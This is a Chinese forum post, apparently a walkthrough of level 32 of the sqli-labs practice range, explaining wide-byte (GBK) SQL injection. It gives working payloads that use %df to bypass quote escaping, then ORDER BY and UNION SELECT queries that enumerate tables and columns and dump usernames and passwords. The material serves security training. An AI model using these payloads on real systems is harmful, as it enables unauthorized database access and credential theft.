找回密码
 立即注册
首页 业界区 业界 sqlilab —— 32关卡

sqlilab —— 32关卡

炀餮氢 昨天 22:50
sqlilab靶场 —— 第32关

使用宽字节的用法进行SQL注入
宽字节是什么

“宽字节” 本质是多字节字符编码(如 GBK、GB2312、Big5 等)的通俗叫法,这类编码以2 个字节为单位表示一个字符(区别于 ASCII 单字节编码,仅用 1 个字节)。

  • 单字节(ASCII):仅覆盖 0-127 的字符(如数字、英文字母),每个字符占 1 字节;
  • 宽字节(如 GBK):覆盖中文、日文等双字节字符,范围包含0x8140-0xFEFE(排除部分无效区间),且第一个字节高位为 1(即≥0x80),第二个字节无强制限制。
宽字节注入的核心触发点:宽字节编码会将单字节的转义符(如\,ASCII 码 0x5c)与前一个字节拼接成一个合法的宽字节字符,从而绕过单引号 / 双引号的转义防护,实现 SQL 注入。
判断注入类型

先一步进行测试
  1. ?id=1'
复制代码
1.png

进一步使用宽字节进行测试
  1. ?id=1%df'
复制代码
2.png

获取数据库信息

判断数据表有几列
  1. ?id=1%df' ORDER BY 3 --+
复制代码
3.png

进一步判断有没有更多的列:
  1. ?id=1%df' order by 4 --+
复制代码
4.png

结论:只有三列
判断哪几列能够使用
  1. ?id=-1%df' UNION SELECT 1,2,3 --+
复制代码
5.png

爆破数据库名
  1. ?id=-1%df' UNION SELECT 1,database(),3 --+
复制代码
6.png

爆表名
  1. ?id=-1%df' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=0x7365637572697479 --+
复制代码
7.png

爆字段名
  1. ?id=-1%df' UNION SELECT 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema=0x7365637572697479 and table_name=0x7573657273 --+
复制代码
8.png

获取目标信息
  1. ?id=-1%df' UNION SELECT 1,group_concat(concat_ws(0x3a,username,password)),3 FROM security.users --+
复制代码
9.png


来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
您需要登录后才可以回帖 登录 | 立即注册